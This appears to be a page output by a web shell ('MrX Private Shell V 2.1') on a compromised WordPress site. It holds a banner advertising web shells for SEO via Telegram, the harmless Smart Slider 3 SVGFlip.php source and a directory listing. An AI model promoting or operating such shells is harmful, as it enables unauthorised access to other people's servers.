__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\SmartSlider3\Slider\SliderType;
class SVGFlip {
private static $viewBoxX;
private static $viewBoxY;
/**
* @param string $svg
* @param bool $x
* @param bool $y
*
* @return string
*/
public static function mirror($svg, $x, $y) {
/* @var callable $callable */
if ($x && $y) {
$callable = array(
self::class,
'xy'
);
} else if ($x) {
$callable = array(
self::class,
'x'
);
} else if ($y) {
$callable = array(
self::class,
'y'
);
} else {
return $svg;
}
preg_match('/(viewBox)=[\'"](.*?)[\'"]/i', $svg, $viewBoxResult);
$viewBox = explode(' ', end($viewBoxResult));
self::$viewBoxX = $viewBox[2];
self::$viewBoxY = $viewBox[3];
$pattern = '/d=[\'"](.*?)[\'"]/i';
return preg_replace_callback($pattern, $callable, $svg);
}
private static function x($matches) {
$path = $matches[1];
$path = substr($path, 0, -1);
$values = explode(' ', $path);
$newPath = '';
for ($i = 0; $i < count($values); $i++) {
$pathCommand = substr($values[$i], 0, 1);
$pathPart = substr($values[$i], 1);
$points = explode(',', $pathPart);
if ($pathCommand === 'A') {
$points[2] = -$points[2];
$points[4] = ($points[4]) ? 1 : 0;
$points[5] = self::$viewBoxX - $points[5];
} else if ($pathCommand == 'a') {
$points[2] = -$points[2];
$points[4] = ($points[4]) ? 1 : 0;
$points[5] = -$points[5];
} else {
for ($j = 0; $j < count($points); $j = $j + 2) {
switch ($pathCommand) {
case 'l':
case 'm':
case 'h':
case 'c':
case 's':
case 'q':
case 't':
$points[$j] = -$points[$j];
break;
case 'L':
case 'M':
case 'H':
case 'C':
case 'S':
case 'Q':
case 'T':
$points[$j] = self::$viewBoxX - $points[$j];
break;
}
}
}
$newPath .= $pathCommand . implode(',', $points);
}
return 'd="' . $newPath . 'z"';
}
private static function y($matches) {
$path = $matches[1];
$path = substr($path, 0, -1);
$values = explode(' ', $path);
$newPath = '';
for ($i = 0; $i < count($values); $i++) {
$pathCommand = substr($values[$i], 0, 1);
$pathPart = substr($values[$i], 1);
$points = explode(',', $pathPart);
if ($pathCommand === 'A') {
$points[2] = -$points[2];
$points[4] = ($points[4]) ? 1 : 0;
$points[6] = self::$viewBoxY - $points[6];
} else if ($pathCommand === 'a') {
$points[2] = -$points[2];
$points[4] = ($points[4]) ? 1 : 0;
$points[6] = -$points[6];
} else {
for ($j = 0; $j < count($points); $j = $j + 2) {
switch ($pathCommand) {
case 'v':
$points[$j] = -$points[$j];
break;
case 'V':
$points[$j] = self::$viewBoxY - $points[$j];
break;
case 'l':
case 'm':
case 'c':
case 's':
case 'q':
case 't':
$points[$j + 1] = -$points[$j + 1];
break;
case 'L':
case 'M':
case 'C':
case 'S':
case 'Q':
case 'T':
$points[$j + 1] = self::$viewBoxY - $points[$j + 1];
break;
}
}
}
$newPath .= $pathCommand . implode(',', $points);
}
return 'd="' . $newPath . 'z"';
}
private static function xy($matches) {
$path = $matches[1];
$path = substr($path, 0, -1);
$values = explode(' ', $path);
$newPath = '';
for ($i = 0; $i < count($values); $i++) {
$pathCommand = substr($values[$i], 0, 1);
$pathPart = substr($values[$i], 1);
$points = explode(',', $pathPart);
if ($pathCommand === 'A') {
$points[5] = self::$viewBoxX - $points[5];
$points[6] = self::$viewBoxY - $points[6];
} else if ($pathCommand == 'a') {
$points[5] = -$points[5];
$points[6] = -$points[6];
} else {
for ($j = 0; $j < count($points); $j = $j + 2) {
switch ($pathCommand) {
case 'h':
case 'v':
$points[$j] = -$points[$j];
break;
case 'H':
$points[$j] = self::$viewBoxX - $points[$j];
break;
case 'V':
$points[$j] = self::$viewBoxY - $points[$j];
break;
case 'l':
case 'm':
case 'c':
case 's':
case 'q':
case 't':
$points[$j] = -$points[$j];
$points[$j + 1] = -$points[$j + 1];
break;
case 'L':
case 'M':
case 'C':
case 'S':
case 'Q':
case 'T':
$points[$j] = self::$viewBoxX - $points[$j];
$points[$j + 1] = self::$viewBoxY - $points[$j + 1];
break;
}
}
}
$newPath .= $pathCommand . implode(',', $points);
}
return 'd="' . $newPath . 'z"';
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Block | Folder | 0775 |
|
|
| Simple | Folder | 0775 |
|
|
| AbstractSliderType.php | File | 1.08 KB | 0664 |
|
| AbstractSliderTypeAdmin.php | File | 1.26 KB | 0664 |
|
| AbstractSliderTypeCss.php | File | 4.58 KB | 0664 |
|
| AbstractSliderTypeFrontend.php | File | 6.55 KB | 0664 |
|
| SVGFlip.php | File | 6.79 KB | 0664 |
|
| SliderTypeFactory.php | File | 2.26 KB | 0664 |
|